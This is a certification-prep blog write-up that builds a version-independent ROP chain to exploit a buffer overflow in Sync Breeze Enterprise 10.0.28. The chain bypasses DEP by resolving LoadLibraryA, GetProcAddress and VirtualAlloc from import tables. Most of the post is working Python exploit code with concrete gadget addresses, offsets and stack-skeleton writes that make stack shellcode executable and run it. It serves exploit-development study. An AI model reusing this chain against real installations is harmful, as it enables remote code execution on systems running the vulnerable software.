Sync Breeze Enterprise 10.0.28 - Windows version independent ROP chain
·4982 words·24 mins
Author
k4z0
Table of Contents
Table of Contents
During preparation for the OSED certification, one of the challenges was to exploit the buffer overflow vulnerability in Sync Breeze Enterprise 10.0.28 with DEP enabled to obtain a shell on the target system. While there are different ways to approach this challenge, I thought it would be a nice opportunity to practice ROP and create an exploit that would be independent of the operating system version and based only on libraries included within this application version.
To make it more interesting we’ll consider DEP enabled on all modules and ASLR enabled on all modules except for libspp.dll. Our goal will be to call VirtualAlloc to change the memory protections on the shellcode on the stack and eventually return to it to execute it and obtain our shell. The most interesting part in this process is how to obtain the address of VirtualAlloc dynamically using ROP and without relying on operating system specific offsets.
Since the null byte is a bad character, our ROP chain has to start from the libspp.dll module:
However, this module does not seem to use any of the functions that would allow us to bypass DEP and execute our shellcode, such as WriteProcessMemory, VirtualAlloc, VirtualProtect, etc.
It does not use LoadLibraryA either. It does, however, reference libpal.dll, which is part of the same version of the application. Interestingly enough, libpal.dll does not use WriteProcessMemory, VirtualAlloc, or VirtualProtect either. It does, however, use LoadLibraryA and GetProcAddress.
So here is the plan: Using ROP based on libspp.dll, we will dereference any function it imports from libpal.dll. After getting the dereferenced address, based on its offset we can craft the address of LoadLibraryA at the IAT of libpal.dll. Then we can dereference that address to get the address of LoadLibraryA in kernel32.dll and call it passing the name of the DLL (kernel32.dll). By doing so we can obtain the base of kernel32.dll. Remember, it’s not enough to use the offset of LoadLibraryA to obtain the base of kernel32.dll because then our exploit will only work against systems that have the exact same version of kernel32.dll. Next we will dereference GetProcAddress at the IAT of libpal.dll to get the address of GetProcAddress. Finally we will be able to call GetProcAddress passing the base of kernel32.dll and the name of our desired function (here VirtualAlloc) as arguments to obtain the address of VirtualAlloc. Eventually we’ll call VirtualAlloc to make the stack area with our shellcode executable.
This might seem like too much work, but in this case there are a few things that will aid us:
The DLL we will be using to obtain the gadgets libspp.dll is relatively large, so we should have plenty of gadgets to work with.
Once we have identified gadgets for basic operations, such as getting a reference to ESP, dereferencing addresses in a controlled manner, adding/subtracting offsets while avoiding bad chars, restoring ESP, etc. we should be able to reuse them to set up each function call.
In this case we have plenty of space for our shellcode and a large ROP chain on the stack, so we don’t have to worry about minimizing our input.
While practising for OSED, I used the following script to quickly attach to the process, add the breakpoints and send the input. This can help to speed up the development process dramatically.
We can quickly change the variable in line 117 to determine whether we want to attach WinDbg or just send the buffer (e.g. in case the app is already running in WinDbg because it didn’t crash).
We can add our breakpoints in line 73 directly from the script.
We can choose the layout we want to use based on name from line 54.
Starting our ROP chain we will obtain the address of LoadLibraryA.
We’ll need the address of any function from libpal imported by libspp. We’ll use WriteStringEx, but any will do as long as the address does not contain bad bytes.
rop=packme(0x10136ab5)# push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; retrop+=packme(0x41414141)*3# junk for add esp, 0x08 and previous ret 0x4#esi has a copy of ESProp+=packme(0x10132e5a)# mov eax, esi ; pop esi ; pop ebx ; ret rop+=packme(0x41414141)#junk for esi and ebxrop+=packme(0x41414141)#junk for esi and ebx# eax has a copy of ESP nowrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xffffffe0)# ebprop+=packme(0x100fcd71)# add eax, ebp ; dec ecx ; ret # eax points to the first dummy placeholder in our skeletonrop+=packme(0x100baecb)# xchg eax, ecx ; ret # ecx points to the first dummy placeholder in our skeletonrop+=packme(0x1002f729)# pop eax ; ret ;rop+=packme(0x101681D4)# WriteStringEx from libpal at libspp's IAT# Dereference WriteStringExrop+=packme(0x1014dc4c)# mov eax, dword [eax] ; ret ;# eax holds the address of WriteStringEx in libpal
EAX now contains the address of WriteStringEx in libpal:
Now we need to get the address of LoadLibraryA at IAT of libpal.dll. Remember that we consider all modules to have ASLR enabled except for libspp.dll.
In WinDbg we can use the command !dh libpal -f to retrieve the headers of the module:
We can see that IAT is at offset 0x8F000 with a size of 0x3EC. We can use the dps command to dump the addresses in this range and try to resolve them:
dps 009f0000+8F000 009f0000+8F000+3EC
We can find LoadLibraryA at address 0x00a7f1d4 and calculate the offset from WriteStringEx (in this case 0x74254):
1
2
3
4
5
6
7
8
9
10
11
# we need to add 0x74254 to the dereferenced WriteStringEx to get LoadLibraryA at IATrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xfff8bdac)# ebp, -0x74254rop+=packme(0x1014c190)# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; rop+=packme(0x41414141)*3#junk#eax should hold LoadLibraryA at IAT#dereferencerop+=packme(0x1014dc4c)# mov eax, dword [eax] ; ret ;# Write address of LoadLibraryA to placeholder skeletonrop+=packme(0x10114901)# mov dword [ecx], eax ; retn 0x000C ;
If we follow our ROP chain until this point, we can see that indeed our skeleton has been populated with the address of LoadLibraryA:
The next part of our skeleton is the return address of LoadLibraryA. In essence, this is the address/gadget where execution will continue once LoadLibraryA has finished. In our case we need to use a gadget that will move the ESP pointer further in the stack, essentially jumping over our following gadgets to finish setting up LoadLibraryA. Once this gadget is used, we should arrive at a memory area on the stack where we can continue our ROP chain. We can advance ecx and write the return address using the following:
1
2
3
4
5
6
7
8
9
10
11
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junk for retn 0x000Crop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# we need to write the return address of the function (LoadLibraryA) before we# start populating the argumentsrop+=packme(0x1002f729)# pop eax ; ret ;rop+=packme(0x100eae11)# add esp, 0x000002F0 ; retn 0x0010 # this is the gadget after LoadLibrary returns # Write the return Address after LoadLibraryA returnsrop+=packme(0x10114901)# mov dword [ecx], eax ; retn 0x000C ;
After taking care of the return address, we need to fill in the skeleton with the argument required by LoadLibraryA. In this case the argument is the string kernel32.dll so that LoadLibraryA will return its base address. The easiest way to obtain a pointer to this string is to search for it on the libspp.dll module (remember for this module we’ve assumed ASLR is disabled).
With the address at hand we can proceed to write the argument:
1
2
3
4
5
6
7
8
9
10
11
12
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# ecx points to the address where we need to write the pointer to the string that# contains the DLL name (LPCSTR lpLibFileName)# We need to fix eax to a pointer to the string kernel32.dll (found at 101835fc in libspp)rop+=packme(0x1002f729)# pop eax ; ret ;rop+=packme(0x101835fc)# # Write the argument, the pointer to the KERNEL32 string (name of DLL)rop+=packme(0x10114901)# mov dword [ecx], eax ; retn 0x000C ;
Finally, we are ready to adjust ESP to point to our skeleton and call LoadLibraryA:
1
2
3
4
5
6
7
8
9
10
# Ready to call LoadLibraryA#align esprop+=packme(0x100baecb)#xchg eax, ecx ; retrop+=packme(0x41414141)*3#junk for retn 0xcrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xfffffff4)# align eax with rop skeleton minus 4 for the pop ebp belowrop+=packme(0x100fcd71)# add eax, ebp ; dec ecx ; ret # eax points to the start of the skeletonrop+=packme(0x1014426e)#xchg eax, ebp ; ret ;rop+=packme(0x10126e48)#mov esp, ebp ; pop ebp ; ret ;
Once LoadLibraryA returns, EAX will hold the base address of the kernel32.dll module.
The final step for this part of the ROP chain is to fill up the remaining stack space until the address where our stack pivot will send us (remember the gadget we used was add esp, 0x000002F0):
Continuing with our ROP chain, now that we have the base address of kernel32.dll in EAX we need to write it in the proper position in the skeleton we’ll use to call GetProcAddress.
The following gadgets achieve just that:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# eax holds the base address of kernel32.dll# copy to ecxrop+=packme(0x100baecb)#xchg eax, ecx ; retrop+=packme(0x41414141)*4# due to the use of #add esp, 0x000002F0 ; retn 0x0010 rop+=packme(0x10136ab5)#0x10136ab5 push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; retrop+=packme(0x41414141)*2# due to add esp, 0x08# esi has a copy of ESProp+=packme(0x10132e5a)#0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop+=packme(0x41414141)#junk for esi and ebxrop+=packme(0x41414141)#junk for esi and ebx# eax holds ESP now (a reference point in the stack)rop+=packme(0x100baecb)#xchg eax, ecx ; ret# restore registers:# eax holds the base address of kernel32.dll# ecx points to our stack reference# The skeleton will need the GetProcAddress, followed by the return address followed by the arguments (hModule, lpProcName)# So we need to write eax at ecx + 8 (first argument, hModule)rop+=packme(0x1010adf1)*8# inc ecx ; ret ;rop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
Next, we’ll need to write the address of the GetProcAddress function to our skeleton. We’ll begin by adjusting ECX to point to the correct offset and then we’ll follow the same process as before to resolve GetProcAddress from the IAT of libpal.dll:
# Restore ECX to point to the first position in our skeletonrop+=packme(0x100fcd73)# dec ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x100fcd73)# dec ecx ; ret ;rop+=packme(0x100fcd73)# dec ecx ; ret ;rop+=packme(0x100fcd73)# dec ecx ; ret ;rop+=packme(0x100fcd73)*4# dec ecx ; ret ;# ecx points to GetProcAddress placeholder in our skeleton, 8 bytes before hModulerop+=packme(0x1002f729)#pop eax ; ret ;rop+=packme(0x101681D4)# WriteStringEx at IAT at libpal from libspp# Dereference WriteStringExrop+=packme(0x1014dc4c)#mov eax, dword [eax] ; ret ;#Eax holds the address of WriteStringEx in libpal# in this case we need to add 0x00074224 to the dereferenced WriteStringEx to get the GetProcAddress at IAT of libpalrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xfff8bddc)# ebp, -0x74224rop+=packme(0x1014c190)#sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; rop+=packme(0x41414141)*3#junk# eax should hold GetProcAddress at IAT of libpal# dereferencerop+=packme(0x1014dc4c)#mov eax, dword [eax] ; ret ;# Write address of first instruction of GetProcAddress to skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
We can break after our last gadget and verify that EAX points to the first instruction of GetProcAddress and ECX points to the correct position in the skeleton:
For the next part of the skeleton we need to write the return address where execution will continue after GetProcAddress has finished. Similar to what we did previously, we will use a stack pivot gadget (add esp, 0x00000208 ; ret):
1
2
3
4
5
6
7
8
9
10
11
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# ecx points to the return address placeholder in our skeleton# we need to write the return address of the function before the first argumentrop+=packme(0x1002f729)#pop eax ; ret ;rop+=packme(0x10044e9b)#add esp, 0x00000208 ; ret # this is the gadget after GetProcAddr returns # Write the return address after GetProcAddr returns to the skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
The final piece we need before we call GetProcAddress is to fill in the second argument of the function in the skeleton, which is a pointer to the null-terminated string that contains the symbol we want to resolve, in our case VirtualAlloc. We have added that string to our input so we can locate it in the stack using something like s -a [stack_limit] [stack_base] "VirtualAlloc":
Before using the discovered offset to wirte the pointer to the string in the skeleton, we need to ensure it ends with a null byte. We will have to accomplish this using ROP gadgets:
# We need to add the null byte at the end of our "VirtualAlloc" string# We need to align ecx with the address of the placeholder in our skeleton# and also align eax with the start of the null terminated "VirtualAlloc" stringrop+=packme(0x10136ab5)# push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; retrop+=packme(0x41414141)*(2+3)# junk for add esp, 0x08 + retn 0x000C#esi has a copy of ESProp+=packme(0x10132e5a)#0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop+=packme(0x41414141)#junk for esi and ebxrop+=packme(0x41414141)#junk for esi and ebx# eax holds the reference to ESP now# align eax with the end of the VirtualAlloc stringrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xffff9c77-len(va_string))# ebp, the 0xffff9c77 is for the start of the stringrop+=packme(0x1014c168)# sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; (1 found)rop+=packme(0x41414141)*3# junk for esi,ebp,ebxrop+=packme(0x100baecb)#xchg eax, ecx ; ret#ecx points to the end of the VirtualAlloc string. need to place \x00 thererop+=packme(0x1015707a)#xor eax, eax ; ret ;#Write the null byte at the end of VirtualAlloc stringrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;rop+=packme(0x100baecb)#xchg eax, ecx ; ret rop+=packme(0x41414141)*3#junk for retn 0x000Crop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xffff9bab)# ebp, prepare to set ecx to point back to placeholderrop+=packme(0x100fcd71)# add eax, ebp ; dec ecx ; ret rop+=packme(0x100baecb)#xchg eax, ecx ; ret#ecx points to the placeholder where the pointer to the string of VirtualAlloc should berop+=packme(0x10136ab5)#0x10136ab5 push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; retrop+=packme(0x41414141)*2#esi has a copy of ESProp+=packme(0x10132e5a)#0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop+=packme(0x41414141)#junk for esi and ebxrop+=packme(0x41414141)#junk for esi and ebx# eax holds ESP nowrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xffff9cd3)# ebp, set eax to point to the start of virtualalloc string againrop+=packme(0x1014c168)#0x1014c168 sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; (1 found)rop+=packme(0x41414141)*3# junk for esi,ebp,ebx# eax points to the start of the VirtualAlloc string# Write the pointer to the VirtualAlloc string to the placeholder in the skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
Checking our skeleton everything seems to be in place:
Finally, with the values in the skeleton filled, we are ready to call GetProcAddress:
1
2
3
4
5
6
7
8
9
10
#Prepare to call GetProcAddr#align esprop+=packme(0x100baecb)#xchg eax, ecx ; retrop+=packme(0x41414141)*3#junk for retn 0xcrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xfffffff0)# align eax with rop skeleton minus 4 for the pop ebp belowrop+=packme(0x100fcd71)#0x100fcd71 add eax, ebp ; dec ecx ; ret # eax points to the start of the skeletonrop+=packme(0x1014426e)#xchg eax, ebp ; ret ;rop+=packme(0x10126e48)#mov esp, ebp ; pop ebp ; ret ;
Once GetProcAddress returns, EAX will hold the address of VirtualAlloc:
Before moving on to the final part of our exploit, we need to add a few ret gadgets as a retslide due to our stack pivot (remember we used add esp, 0x00000208):
At this point EAX holds the address of VirtualAlloc, so we’ll need to write it in our new skeleton. For this skeleton it will be easier to just build it wherever ECX points instead of calculating the offsets to our initial position. This is because we have moved away from the initial position.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#eax holds the address of the first instruction of VirtualAlloc# copy to ecxrop+=packme(0x100baecb)#xchg eax, ecx ; retrop+=packme(0x10136ab5)#0x10136ab5 push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; retrop+=packme(0x41414141)*2#esi has a copy of ESProp+=packme(0x10132e5a)#0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop+=packme(0x41414141)#junk for esi and ebxrop+=packme(0x41414141)#junk for esi and ebx# eax holds the reference to ESP nowrop+=packme(0x100baecb)#xchg eax, ecx ; ret# eax has the address of virtualalloc# ecx points to the stack#Write the address of VirtualAlloc to wherever ecx points <- that will be the new skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
Now that the address of VirtualAlloc is written to the stack, we need to write the return address and the arguments after it. The next four bytes will contain the return address where execution will continue after VirtualAlloc is executed. In our case this must be the address of our shellcode on the stack. The following gadgets adjust EAX so it points to our shellcode and write the address to our skeleton:
1
2
3
4
5
6
7
8
9
10
11
12
13
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# copy ecx to eax so now eax has a reference to ESP/stackrop+=packme(0x100284be)#mov eax, ecx ; ret ;rop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xfffffe9c)# ebp, align eax so it points (at least near) the shellcoderop+=packme(0x1014c190)#sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; rop+=packme(0x41414141)*3#junk# Write the return address of VirtualAlloc a.k.a the address of our Shellcoderop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
For the next step we need to write the first argument (lpAddress) for VirtualAlloc, in this case this is the address of our shellcode again:
1
2
3
4
5
6
7
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# Write lpAddress, same as before, the address to our shellcoderop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
The next argument is dwSize. This does not have to be the exact size of the shellcode. We’ll write the arbitrary value 0x611.
1
2
3
4
5
6
7
8
9
10
11
12
13
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# craft dwSize 0x611rop+=packme(0x1015707a)#xor eax, eax ; ret ;rop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xfffff9ef)# ebp, -0x611rop+=packme(0x1014c190)#sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ;rop+=packme(0x41414141)*3#junk# Write dwSize to our skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
The next argument is flAllocationType, which must be 0x1000. We’ll craft this value like before (notice the pattern? this is becoming easier).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# craft flAllocationType 0x1000rop+=packme(0x1002f729)#pop eax ; ret ;rop+=packme(0x77777777)# eaxrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0x88889889)# ebp,rop+=packme(0x100fcd71)#0x100fcd71 add eax, ebp ; dec ecx ; ret # Restore ecxrop+=packme(0x1010adf1)# inc ecx ; ret ;# Write flAllocationType to our skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
Very similar to what we did before, we need to craft the flProtect value 0x40 which corresponds to PAGE_EXECUTE_READWRITE.
1
2
3
4
5
6
7
8
9
10
11
12
13
rop+=packme(0x1010adf1)# inc ecx ; ret ; rop+=packme(0x41414141)*3#junkrop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;rop+=packme(0x1010adf1)# inc ecx ; ret ;# craft flProtect 0x40rop+=packme(0x1015707a)#xor eax, eax ; ret ;rop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xffffffc0)# ebp, -0x40rop+=packme(0x1014c190)#sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ;rop+=packme(0x41414141)*3#junk# Write flProtect to our skeletonrop+=packme(0x10114901)#mov dword [ecx], eax ; retn 0x000C ;
Now we are ready to call VirtualAlloc. All we have to do is align ESP with our skeleton.
1
2
3
4
5
6
7
8
9
10
#Prepare to call VirtualAlloc#align esprop+=packme(0x100baecb)#xchg eax, ecx ; retrop+=packme(0x41414141)*3#junk for retn 0xcrop+=packme(0x101547ae)# pop ebp ; ret rop+=packme(0xffffffe8)# ebp, -0n24rop+=packme(0x100fcd71)#0x100fcd71 add eax, ebp ; dec ecx ; ret # eax points to the start of the skeletonrop+=packme(0x1014426e)#xchg eax, ebp ; ret ;rop+=packme(0x10126e48)#mov esp, ebp ; pop ebp ; ret ;
Once ESP is aligned, we can see that everything is set up correctly to call VirtualAlloc.
The following screenshot displays the memory protection status where our shellcode resides before VirtualAlloc is called:
And the following image shows that the shellcode memory area has become executable after VirtualAlloc returns, effectively bypassing DEP:
Indeed, the shellcode instructions are being executed successfully without triggering an access violation: